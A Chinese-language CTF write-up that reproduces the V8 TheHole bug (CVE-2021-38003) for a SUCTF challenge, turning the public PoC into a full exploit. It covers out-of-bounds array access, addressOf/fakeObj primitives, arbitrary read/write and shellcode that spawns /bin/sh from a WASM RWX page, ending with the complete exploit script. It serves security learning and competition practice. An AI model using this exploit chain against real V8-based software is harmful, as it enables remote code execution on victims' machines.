【CTF对抗-从POC到EXP:从0基础到v8 CVE-2021-38003复现】此文章归类为:CTF对抗。
此文章首发于奇安信攻防社区aefK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6X3L8%4u0#2L8g2)9J5k6h3u0#2N6r3W2S2L8W2)9J5k6h3&6W2N6q4)9J5c8Y4y4Z5j5i4u0W2i4K6u0r3y4o6R3#2x3b7`.`.
TheHole New World - how a small leak will sink a great browser (CVE-2021-38003)
[V8 Deep Dives] Understanding Map Internals
最近在做2026年SUCTF的赛题复现,做到SU_BOX这一题的时候发现是一个v8引擎利用,之前也没有学过v8就一边学一边做了这一题,学习的过程中也踩了很多坑……
编译的主要流程参考了从 0 开始学 V8 漏洞利用系列篇这一篇文章,这个文章将编译的流程写成了脚本,方便后续编译不同版本的v8。
需要注意的是,编译的参数最好按照官方的来,比如SU_BOX使用的是J2V8,其编译v8的方式是这样的
target_os = "linux"
target_cpu = "x64"
is_component_build = false
is_debug = false
use_custom_libcxx = false
v8_monolithic = true
v8_use_external_startup_data = false
symbol_level = 0
v8_enable_i18n_support= false
v8_enable_pointer_compression = false
那我们就要在编译参数上尽可能相同,在此基础上添加部分调试参数进行编译
target_os = "linux"
target_cpu = "x64"
is_component_build = false
is_debug = false
use_custom_libcxx = false
v8_monolithic = true
v8_use_external_startup_data = false
symbol_level = 2
v8_enable_i18n_support= false
v8_enable_pointer_compression = false
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
v8_enable_verify_heap = true
所以写成build.sh脚本是这样的,由于我是在docker中编译的,因此很多路径都是绝对路径,需要进行修改
#!/bin/bash
VER=$1
if [ -z $2 ]; then
NAME=$VER
else
NAME=$2
fi
cd /work/v8_dev/v8
git reset --hard $VER
gclient sync -D
gn gen /work/v8_dev/out/x64_$NAME.release --args='target_os = "linux"
target_cpu = "x64"
is_component_build = false
is_debug = false
use_custom_libcxx = false
v8_monolithic = true
v8_use_external_startup_data = false
symbol_level = 2
v8_enable_i18n_support= false
v8_enable_pointer_compression = false
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
v8_enable_verify_heap = true'
ninja -C /work/v8_dev/out/x64_$NAME.release d8
如果不按照官方给的参数编译的话,有可能POC无法跑通,就直接影响后续的漏洞利用
同时,经过多次尝试,我建议在运行ubuntu 20.04或者ubuntu 22.04且运行python 3.9或者python 3.10的系统环境中构建,过高或者过低的系统/python版本都会导致编译出错。编译完之后的目录是这样子的

其中可执行文件d8就是我们攻击的目标文件

同时需要将这两个文件导入到gdbinit文件中,这样才能使用v8的调试指令
我们将以下内容写在test.js中
a= [1.1, 2.2];
%DebugPrint(a);
%SystemBreak();
%SystemBreak()就是断点,程序会断在这里;%DebugPrint(a)就是将a列表的调试数据打印到终端

在gdb中调试d8文件,然后运行的时候带上--allow-natives-syntax参数才能使用%SystemBreak() %DebugPrint()两条调试指令,运行效果如下

也可以在gdb中使用job指令查看对象

需要注意的是,v8为了体现数据和地址的不同采用了不同的策略:地址+1存储,也就是说如果0x41414140作为对象地址存储就会变成0x41414141,这一点非常重要,所以这个对象的真实地址是0x3655bb30ee01-1=0x3655bb30ee00
配合x指令打印具体地址信息,可以看到JSArray结构体其实是这样排布的

回到刚刚的程序
a= [1.1, 2.2];
%DebugPrint(a);
%SystemBreak();
JSArray结构体用示意图来表示是这样的

高版本的v8中存在地址压缩,在这个版本中部分字段占8字节,具体每个字段占几个字节需要根据具体版本进行调试分析
我们看一下element是如何存储的

可以看到数据其实是存储在一个FixedDoubleArray结构体对象里的,同时可以看到这个结构体的存储位置是JSArray结构体的上方,示意图如下:

我们调试一下下面的程序,看看其中其他数据类型的存储和浮点类型的数据存储有什么不同
a = [1.1, 2.2];
b = [0x3333, 0x4444];
c = [a, b];
%DebugPrint(a);
%DebugPrint(b);
%DebugPrint(c);
%SystemBreak();
这是b对象的信息

示意图如下,可以看到在这个数据结构中存储element的结构体和JSArray结构体并不是在内存上相邻的

这是c对象的信息

示意图如下,可以看到在这个数据结构中存储对象的FixedArray结构体和JSArray结构体在内存上相邻的

OK,那么我们可以简单总结一下:如果一个JSArray结构体存储的是浮点数和对象,那么这个结构体存储元素的地址和它本身是相邻的
如果我们能通过一个漏洞修改浮点数JSArray的length字段,就可以通过索引来进行越界读写,这其实就是v8漏洞利用的核心
了解了v8底层的数据存储就可以正式开始学习v8的漏洞利用了
v8是如何判断一个JSArray结构体中存储的是浮点数、整数还是对象的呢,其实就是看JSArray的Map,每一种类型的Map都不一样
如果我们将一个存储对象的JSArray结构体的Map修改为浮点数数组对应的Map,那么读取这个结构体的时候就会返回一个浮点数

我们拿到的浮点数是什么呢?诶,这就是对象的地址,v8漏洞利用中我们就可以通过这个方式来泄露对象的地址。我们将这个流程封装成函数addressOf,可以这么调用
var victim_arr_addr = addressOf(victim_arr);
将一个存储浮点数的JSArray结构体的Map修改为对象数组对应的Map,那么我读取这个结构体的时候就能返回一个对象,我们可以通过这个功能构造一个fake Object,将这个流程封装成函数fakeObj(),可以这样调用
var fake_object = fakeObj(fake_object_addr);
fake Object有什么用呢,我们可以通过这个fake Object来达到任意地址读和任意地址写的效果
获得addressOf和fakeObj原语,基本就是靠我们上一块所讲的修改浮点数JSArray的length字段以达到越界写来实现的
var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);
var u32 = new Uint32Array(f64.buffer);
// Double to Uint32
function d2u(v) {
f64[0] = v;
return u32;
}
// Uint32 to Double
function u2d(lo, hi) {
u32[0] = lo;
u32[1] = hi;
return f64[0];
}
// Float to Integer
function ftoi(f)
{
f64[0] = f;
return bigUint64[0];
}
// Integer to Float
function itof(i)
{
bigUint64[0] = i;
return f64[0];
}
function hex(i)
{
return i.toString(16).padStart(8, "0");
}
由于在v8漏洞中主要利用的还是浮点数的存储,因此需要一些工具函数用于大整数与浮点数之间的互转,函数定义如上,可以直接拿着用
首先我们要通过漏洞实现addressOf和fakeObj原语,同时已经泄露出了浮点数JSArray的Map值,将其定义为DOUBLE_MAP常量,随后定义or修改浮点数对象如下:
var victim = [DOUBLE_MAP, 0n, addr, itof(0x0000000100000000n)];
此时内存中是这样存储的

然后通过addressOf原语获得标红区域的内存,将其传入fakeObj原语中,就可以拿到fake Object,将其定义为fake_object
最后我们可以通过fake_object[0]来进行任意地址读,由于这个fake_object是伪造的存储浮点数的JSArray,因此通过fake_object[0]获取的值并不是addr中存储的数据,而是addr+0x10中存储的数据,原理可以看下面这一张图,因为addr应该是一个FixedDoubleArray结构体的地址,而存储数据的地址是addr+0x10

我们可以将其封装成read64函数
function read64(addr)
{
victim_arr[2] = itof(addr - 0x10n + 0x1n);
return ftoi(fake_object[0]);
}
这里的addr就是我们想泄露的地址,那么写到fake_object中就应该是addr-0x10+1
这个1的产生就是我们之前说过的v8存储地址和普通程序的差异
任意地址写和任意地址读差不多,无非就是最后的从fake_object获取值改成了修改fake_object的存储的值
function write64(addr, data)
{
victim_arr[2] = itof(addr - 0x10n + 0x1n);
fake_object[0] = itof(data);
}
由于低版本v8中会给WASM一个可读可写可执行的段,因此我们可以考虑通过shellcode替换原有的WASM内容以达到执行shellcode的效果
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
%DebugPrint(f);
%DebugPrint(wasmInstance);
%SystemBreak();

当执行到断点时,vmmap就可以看到出现了一个可读可写可执行段,我们只需要想办法把shellcode写入这个段的开始地址,也就是0x11d80365f000,随后执行f()就可以触发shellcode
需要注意的是,在较高版本的v8中,WASM段已经不是可读可写可执行了,而是变成了可读可执行,因此就没有办法通过这个方式来进行利用了
我们回头看看之前的任意地址写,如果通过之前的方式写入shellcode会导致以下两个问题
addr-0x10+1,但想要写shellcode的地址一般都是内存段在开头(即之前的0x11d80365f000),那么更前面的内存空间则是未开辟的(0x11d80365f000-0x10+1),写入时会因为访问未开辟的内存空间发生异常因此我们需要一种向某个对象中写入数据不需要经过map和length的方式来实现任意地址写
var data_buf = new ArrayBuffer(0x10);
var data_view = new DataView(data_buf);
data_view.setFloat64(0, itof(0x41414141n), true);
%DebugPrint(data_buf);
%DebugPrint(data_view);
%SystemBreak();
调试结果如下

可以看到,本质上来说setFloat64是在向JSArrayBuffer的backing_store指向的内存中写入内容,那么我们只要通过原有的任意地址写write64控制这个字段为可读可写可执行段的开始地址,就可以通过setFloat64方法向内存中无限制写入数据
讲到这里,v8漏洞利用就差不多了,可以开始具体分析题目了,因为addressOf和fakeObj原语都和具体题目有关,不同的题目获得原语的方式也不同。获得了这两个原语才能再写read64函数和write64函数
这个CVE的POC可以从谷歌纰漏漏洞的网站找到b4cK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6A6M7%4y4#2k6i4y4Q4x3X3g2U0K9s2u0G2L8h3W2#2L8g2)9J5k6h3!0J5k6#2)9J5c8X3W2K6M7%4g2W2M7#2)9J5c8U0b7H3x3o6f1%4y4K6p5H3
关于漏洞产生的原理本文不过多赘述,我们关注于漏洞点的利用,也就是已知CVE如何利用漏洞
function trigger() {
let a = [], b = [];
let s = '"'.repeat(0x800000);
a[20000] = s;
for (let i = 0; i < 10; i++) a[i] = s;
for (let i = 0; i < 10; i++) b[i] = a;
try {
JSON.stringify(b);
} catch (hole) {
return hole;
}
throw new Error('could not trigger');
}
let hole = trigger();
var map = new Map();
map.set(1, 1);
map.set(hole, 1);
// Due to special handling of hole values, this ends up setting the size of the map to -1
map.delete(hole);
map.delete(hole);
map.delete(1);
// Set values in the map, which presumably ends up corrupting data in fron of
// the map storage due to the size being -1
for (let i = 0; i < 100; i++) {
map.set(i, 1);
}
我们将最后的循环删掉,然后打印一下map.size,看看POC有没有生效
function trigger() {
let a = [], b = [];
let s = '"'.repeat(0x800000);
a[20000] = s;
for (let i = 0; i < 10; i++) a[i] = s;
for (let i = 0; i < 10; i++) b[i] = a;
try {
JSON.stringify(b);
} catch (hole) {
return hole;
}
throw new Error('could not trigger');
}
let hole = trigger();
var map = new Map();
map.set(1, 1);
map.set(hole, 1);
// Due to special handling of hole values, this ends up setting the size of the map to -1
map.delete(hole);
map.delete(hole);
map.delete(1);
print("map.size =", map.size)

可以看到POC是有效的,那么我们就可以将这个POC改写成EXP进行利用
修改POC的整体流程可以配合401K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6K6N6r3q4J5L8r3q4T1M7#2)9J5k6i4y4Y4i4K6u0r3j5X3I4G2k6#2)9J5c8U0t1H3x3U0u0Q4x3V1j5I4x3W2)9J5k6s2c8Z5k6g2)9J5k6r3S2G2L8r3g2Q4x3X3c8F1k6i4N6Q4x3X3c8%4L8%4u0D9k6q4)9J5k6r3S2G2N6#2)9J5k6r3q4Q4x3X3c8K6L8h3q4D9L8q4)9J5k6r3I4W2j5h3E0Q4x3X3c8%4K9h3I4D9i4K6u0V1M7$3W2F1K9#2)9J5k6r3q4Q4x3X3c8Y4M7X3g2S2N6q4)9J5k6r3u0J5L8%4N6K6k6i4u0Q4x3X3c8U0N6X3g2Q4x3X3b7J5x3o6t1I4i4K6u0V1x3K6R3H3x3o6y4Q4x3V1j5`.
这篇文章食用,但是这篇文章的绝大多数数据需要在本地进行调试得出,我们接下来就开始我们的调试流程
首先我们看一下正常的map对象是什么样子的

JSMap在底层是通过OrderedHashMap实现的,因此我们重点需要分析OrderedHashMap这个结构体,这个结构体的原理可以看这篇文章e71K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6A6N6r3&6W2P5s2c8Q4x3X3g2A6L8#2)9J5c8Y4j5^5i4K6u0V1k6r3g2W2M7q4)9J5k6r3c8A6N6X3g2K6i4K6u0V1N6h3&6V1k6i4u0K6N6r3q4F1k6r3W2F1k6#2)9J5k6r3#2S2M7q4)9J5k6r3W2F1N6r3g2J5L8X3q4D9M7#2)9J5k6o6b7#2k6h3t1&6y4r3p5I4z5o6y4V1k6R3`.`.
这个结构体的示意图如下:

当我们执行map.set(key, value)时,会先对我们的key取哈希,随后和bucket_count-1进行与操作,获得hash_table_index
随后current_index就是目前已经放入数据的个数,如果hashTable[hash_table_index] == -1就代表这个哈希表还是空的,就会将key和value写入dataTable中
hash_table_index = hashcode(key) & (bucket_count-1)
current_index = current_element_count
if hashTable[hash_table_index] == -1:
// add new key-value
// no boundary check
dataTable[current_index].key = key
dataTable[current_index].value = value
..........
else:
// update existing key-value in map
// has boundary check
当触发map.size == -1的漏洞时,我们看一下此时新建键值对会对内存产生什么影响
function trigger() {
let a = [], b = [];
let s = '"'.repeat(0x800000);
a[20000] = s;
for (let i = 0; i < 10; i++) a[i] = s;
for (let i = 0; i < 10; i++) b[i] = a;
try {
JSON.stringify(b);
} catch (hole) {
return hole;
}
throw new Error('could not trigger');
}
let hole = trigger();
var map = new Map();
map.set(1, 1);
map.set(hole, 1);
// Due to special handling of hole values, this ends up setting the size of the map to -1
map.delete(hole);
map.delete(hole);
map.delete(1);
print("map.size =", map.size)
map.set(0x41, 0x42);
%DebugPrint(map);
%SystemBreak();


可以看到0x41和0x42这两个值分别放在了buckets Count和hashTable[0]的位置上,这样的话我们就可以通过这一次异常操作来挟持OrderedHashMap中hashTable和dataTable的个数,进而达到越界写的目的

假设我们在这个结构体后方放一个JSArray,那么就有概率通过OrderedHashMap中的越界写来控制JSArray中的数据
function trigger() {
let a = [], b = [];
let s = '"'.repeat(0x800000);
a[20000] = s;
for (let i = 0; i < 10; i++) a[i] = s;
for (let i = 0; i < 10; i++) b[i] = a;
try {
JSON.stringify(b);
} catch (hole) {
return hole;
}
throw new Error('could not trigger');
}
let hole = trigger();
var map = new Map();
map.set(1, 1);
map.set(hole, 1);
// Due to special handling of hole values, this ends up setting the size of the map to -1
map.delete(hole);
map.delete(hole);
map.delete(1);
print("map.size =", map.size)
oob_arr = [1.1, 1.1, 1.1, 1.1];
%DebugPrint(map);
%DebugPrint(oob_arr);
%SystemBreak();
我们调试这个程序

OrderedHashMap的内存数据如下

oob_arr对象的数据如下

可以看到oob_arr的length在0x298c5b7ad560的位置,和OrderedHashMap结构体的位置距离很近是有机会覆盖的,既然我们能够控制OrderedHashMap结构体的bucket数量,那么就可以拓展hashTable和dataTable到这个区域进行篡改
因此初步计划如下

hash_table_index = hashcode(key) & (bucket_count-1)
current_index = current_element_count
if hashTable[hash_table_index] == -1:
// add new key-value
// no boundary check
dataTable[current_index].key = key
dataTable[current_index].value = value
..........
else:
// update existing key-value in map
// has boundary check
第一次的异常操作来挟持bucket Count,使其dataTable[0]的位置与oob_array的length字段重叠,同时设置hashTable[0] = -1,此时current_element_count为0,这个时候,只要第二次map.set(key, value)满足hashcode(key) & (bucket_count-1) == 0,就能触发hashTable[hash_table_index] == -1,进而修改dataTable[current_index].key = key,从而达到修改length的目的
我们先解决设置bucket为多少的问题,再解决取什么key能达到要求的问题
经过调试我们可以发现,hashTable[0]的地址是0x298c5b7ad4a8

oob_array的length地址是0x298c5b7ad560

这样的话我们简单算一下,假设bucket的数值是n,那么hashTable[n-1]的地址就是0x298c5b7ad558,这样的话
(0x298c5b7ad558 - 0x298c5b7ad4a8) / 8 = 0x16
这样的话bucket就要设置成0x16+1 = 0x17,那么第一次就要执行map.set(0x17, -1);
接下来要挑选一个key能够满足hashcode(key) & (bucket_count-1) == 0的要求,v8的哈希算法是公开的,同时我们可以利用之前文章中已成型的程序将其bucket值改成0x17即可
#include <bits/stdc++.h>
using namespace std;
uint32_t ComputeUnseededHash(uint32_t key) {
uint32_t hash = key;
hash = ~hash + (hash << 15); // hash = (hash << 15) - hash - 1;
hash = hash ^ (hash >> 12);
hash = hash + (hash << 2);
hash = hash ^ (hash >> 4);
hash = hash * 2057; // hash = (hash + (hash << 3)) + (hash << 11);
hash = hash ^ (hash >> 16);
return hash & 0x3fffffff;
}
int main(int argc, char *argv[]) {
uint32_t i = 0;
while(i <= 0xffffffff) {
/* bucket_count is 0x1c
* hashcode(key) & (bucket_count-1) should become 0
* we'll have to find a key that is large enough to achieve OOB read/write, while matching hashcode(key) & 0x1b == 0
*/
uint32_t hash = ComputeUnseededHash(i);
if (((hash & (0x17-1)) == 0) && (i > 0x100)) {
printf("Found: %p\n", i);
break;
}
i = (uint32_t)i+1;
}
return 0;
}

也就是说第二次set的key要等于0x103,而value不重要,我们设置成0(因为dataTable[0].value的位置已经不在JSArray结构体内了,不需要关注这个值)
综上所述,我们需要进行以下操作:
map.set(0x17, -1);
map.set(0x103, 0);
我们写一个完整程序调试一下试试
function trigger() {
let a = [], b = [];
let s = '"'.repeat(0x800000);
a[20000] = s;
for (let i = 0; i < 10; i++) a[i] = s;
for (let i = 0; i < 10; i++) b[i] = a;
try {
JSON.stringify(b);
} catch (hole) {
return hole;
}
throw new Error('could not trigger');
}
let hole = trigger();
var map = new Map();
map.set(1, 1);
map.set(hole, 1);
// Due to special handling of hole values, this ends up setting the size of the map to -1
map.delete(hole);
map.delete(hole);
map.delete(1);
print("map.size =", map.size)
oob_arr = [1.1, 1.1, 1.1, 1.1];
map.set(0x17, -1);
map.set(0x103, 0);
%DebugPrint(oob_arr);
%SystemBreak();

可以看到JSArray结构体的length变成了0x103,成功进行了修改,接下来就可以通过这个oob_arr进行越界读写
我们可以这样布置变量
......
oob_arr = [1.1, 1.1, 1.1, 1.1];
victim_arr = [2.2, 2.2, 2.2, 2.2, 2.2, 2.2];
obj_arr = [{}, {}, {}, {}];
map.set(0x17, -1);
map.set(0x103, 0);
......
这样的话就可以通过oob_arr的越界读读取到存储浮点数的Map,定义为常量DOUBLE_MAP,可以通过越界读读取到存储对象的Map,定义为OBJECT_MAP
......
print("map.size =", map.size)
oob_arr = [1.1, 1.1, 1.1, 1.1];
victim_arr = [2.2, 2.2, 2.2, 2.2, 2.2, 2.2];
obj_arr = [{}, {}, {}, {}];
map.set(0x17, -1);
map.set(0x103, 0);
%DebugPrint(oob_arr);
%DebugPrint(victim_arr)
// %DebugPrint(obj_arr)
%SystemBreak();
oob_arr[0]的地址是0x46f5552d528,存储浮点数的Map在内存0x46f5552d5a8中,可以通过oob_arr[0x10]访问到,同理可得,可以通过oob_arr[0x36]获取存储对象的Map
oob_arr = [1.1, 1.1, 1.1, 1.1];
victim_arr = [2.2, 2.2, 2.2, 2.2, 2.2, 2.2];
obj_arr = [{}, {}, {}, {}];
map.set(0x17, -1);
map.set(0x103, 0);
const DOUBLE_MAP = ftoi(oob_arr[0x10]);
const OBJECT_MAP = ftoi(oob_arr[0x36]);
print("DOUBLE_MAP = 0x" + hex(DOUBLE_MAP));
print("OBJECT_MAP = 0x" + hex(OBJECT_MAP));
这样的话addressOf可以这样写,先把要泄露的地址写到obj_arr[0]中,然后修改obj_arr的Map为DOUBLE_MAP,随后就可以获取想要获取的对象地址了,最后要将obj_arr的Map重新修复为OBJECT_MAP,以便多次使用
function addressOf(obj_to_leak)
{
obj_arr[0] = obj_to_leak;
oob_arr[0x36] = itof(DOUBLE_MAP);
let target_var_addr = ftoi(obj_arr[0]);
oob_arr[0x36] = itof(OBJECT_MAP);
return target_var_addr;
}
fakeObj和addressOf基本一致,将伪造fake_object的地址填入victim_arr中,修改victim_arr的Map为OBJECT_MAP,从而获取fake_object,最后将victim_arr的Map修复为DOUBLE_MAP以便多次使用
function fakeObj(addr_to_fake)
{
victim_arr[0] = itof(addr_to_fake+1n);
oob_arr[0x10] = itof(OBJECT_MAP);
let fake_obj = victim_arr[0];
oob_arr[0x10] = itof(DOUBLE_MAP);
return fake_obj;
}
我们可以伪造victim_arr[2]~victim[4]为fake_object,通过这个fake_object来达到任意地址读写的能力
victim_arr_addr = addressOf(victim_arr) - 1n;
print("victim_arr_addr = 0x" + hex(victim_arr_addr));
victim_arr[2] = itof(DOUBLE_MAP);
victim_arr[3] = itof(0n);
victim_arr[4] = itof(0x41414141n);
victim_arr[5] = itof(0x0000000100000000n);
fake_object_addr = victim_arr_addr - 0x20n;
fake_object = fakeObj(fake_object_addr);
%DebugPrint(fake_object)
%SystemBreak();
此时内存中是这样的


可以看到我们的fake_object能被系统正常识别,报错是因为0x41414140地址无法访问,这个没关系,只要在地址未被正常设置前不使用%DebugPrint(fake_object)就不会有问题,可以正常进行read64和write64,因为这个地址会在这两个函数中被重写的
既然有了fake_object,那么read64和write64可以这样写
function read64(addr)
{
victim_arr[4] = itof(addr - 0x10n + 0x1n);
return ftoi(fake_object[0]);
}
就是通过victim_arr修改fake_object指向element的地址,然后通过fake_object[0]读取
function write64(addr, data)
{
victim_arr[4] = itof(addr - 0x10n + 0x1n);
fake_object[0] = itof(data);
}
write64的原理与read64相同,就是读取内存变成了对内存赋值
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
%DebugPrint(wasmInstance)
%SystemBreak();
对这个程序进行调试

可以看到RWX段在结构体开始地址+0x80的位置上,我们可以通过read64获取这个地址
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
shellcode_addr = read64(addressOf(wasmInstance)-1n+0x80n);
print("shellcode_addr = 0x" + hex(shellcode_addr));
var shellcode = [ 0x48, 0xBF, 0x2F, 0x62, 0x69, 0x6E, 0x2F, 0x73, 0x68, 0x00, 0x57, 0x48, 0x89, 0xE7, 0x48, 0x31, 0xF6, 0x48, 0x31, 0xD2, 0x48, 0xC7, 0xC0, 0x3B, 0x00, 0x00, 0x00, 0x0F, 0x05 ]
shellcode_write(shellcode_addr, shellcode);
shellcode_write函数需要通过任意地址写plus实现,具体如下
function shellcode_write(addr,shellcode)
{
var data_buf = new ArrayBuffer(shellcode.length);
var data_view = new DataView(data_buf);
var buf_backing_store_addr=addressOf(data_buf)-1n+0x28n;
write64(buf_backing_store_addr,addr);
for (let i=0;i<shellcode.length;++i) {
data_view.setUint8(i,shellcode[i]);
}
}
由于backing_store在JSArrayBuffer结构体+0x28的位置,因此需要通过write64控制这个字段,随后多次调用setUint8方法即可逐字节写入shellcode
写完后执行
f();
即可获得shell

var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);
var u32 = new Uint32Array(f64.buffer);
// Double to Uint32
function d2u(v) {
f64[0] = v;
return u32;
}
// Uint32 to Double
function u2d(lo, hi) {
u32[0] = lo;
u32[1] = hi;
return f64[0];
}
// Float to Integer
function ftoi(f)
{
f64[0] = f;
return bigUint64[0];
}
// Integer to Float
function itof(i)
{
bigUint64[0] = i;
return f64[0];
}
function hex(i)
{
return i.toString(16).padStart(8, "0");
}
function addressOf(obj_to_leak)
{
obj_arr[0] = obj_to_leak;
oob_arr[0x36] = itof(DOUBLE_MAP);
let target_var_addr = ftoi(obj_arr[0]);
oob_arr[0x36] = itof(OBJECT_MAP);
return target_var_addr;
}
function fakeObj(addr_to_fake)
{
victim_arr[0] = itof(addr_to_fake+1n);
oob_arr[0x10] = itof(OBJECT_MAP);
let fake_obj = victim_arr[0];
oob_arr[0x10] = itof(DOUBLE_MAP);
return fake_obj;
}
function read64(addr)
{
victim_arr[4] = itof(addr - 0x10n + 0x1n);
return ftoi(fake_object[0]);
}
function write64(addr, data)
{
victim_arr[4] = itof(addr - 0x10n + 0x1n);
fake_object[0] = itof(data);
}
function shellcode_write(addr,shellcode)
{
var data_buf = new ArrayBuffer(shellcode.length);
var data_view = new DataView(data_buf);
var buf_backing_store_addr=addressOf(data_buf)-1n+0x28n;
write64(buf_backing_store_addr,addr);
for (let i=0;i<shellcode.length;++i) {
data_view.setUint8(i,shellcode[i]);
}
}
function trigger() {
let a = [], b = [];
let s = '"'.repeat(0x800000);
a[20000] = s;
for (let i = 0; i < 10; i++) a[i] = s;
for (let i = 0; i < 10; i++) b[i] = a;
try {
JSON.stringify(b);
} catch (hole) {
return hole;
}
throw new Error('could not trigger');
}
let hole = trigger();
var map = new Map();
map.set(1, 1);
map.set(hole, 1);
// Due to special handling of hole values, this ends up setting the size of the map to -1
map.delete(hole);
map.delete(hole);
map.delete(1);
print("map.size =", map.size)
oob_arr = [1.1, 1.1, 1.1, 1.1];
victim_arr = [2.2, 2.2, 2.2, 2.2, 2.2, 2.2];
obj_arr = [{}, {}, {}, {}];
map.set(0x17, -1);
map.set(0x103, 0);
const DOUBLE_MAP = ftoi(oob_arr[0x10]);
const OBJECT_MAP = ftoi(oob_arr[0x36]);
print("DOUBLE_MAP = 0x" + hex(DOUBLE_MAP));
print("OBJECT_MAP = 0x" + hex(OBJECT_MAP));
victim_arr_addr = addressOf(victim_arr) - 1n;
print("victim_arr_addr = 0x" + hex(victim_arr_addr));
victim_arr[2] = itof(DOUBLE_MAP);
victim_arr[3] = itof(0n);
victim_arr[4] = itof(0x41414141n);
victim_arr[5] = itof(0x0000000100000000n);
fake_object_addr = victim_arr_addr - 0x20n;
fake_object = fakeObj(fake_object_addr);
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
shellcode_addr = read64(addressOf(wasmInstance)-1n+0x80n);
print("shellcode_addr = 0x" + hex(shellcode_addr));
var shellcode = [ 0x48, 0xBF, 0x2F, 0x62, 0x69, 0x6E, 0x2F, 0x73, 0x68, 0x00, 0x57, 0x48, 0x89, 0xE7, 0x48, 0x31, 0xF6, 0x48, 0x31, 0xD2, 0x48, 0xC7, 0xC0, 0x3B, 0x00, 0x00, 0x00, 0x0F, 0x05 ]
shellcode_write(shellcode_addr, shellcode);
f();
这篇文章主要关注于已知漏洞的利用,并非漏洞的挖掘。在赛场上需要在有效的时间内完成验证POC到编写EXP的整个流程,因此调试的思路是很重要的。这个CVE网上流传的EXP绝大多数不能用,这个和不同版本v8的字段偏移有关,比如WASM段在wasmInstance结构体中的偏移和backing_store在JSArrayBuffer中的偏移都需要通过调试获得,同时也和不同版本v8变量的底层存储逻辑有关。
这篇文章记录了我从0基础到完成v8 CVE复现的整个流程,耗时两周。实话实说挺坐牢的,好在最终拿到了shell,也成功入门v8,成就感直接爆表。作为pwn手的我不就期待着这一刻吗( •́ .̫ •̀ )。
更多【CTF对抗-从POC到EXP:从0基础到v8 CVE-2021-38003复现】相关视频教程:www.yxfzedu.com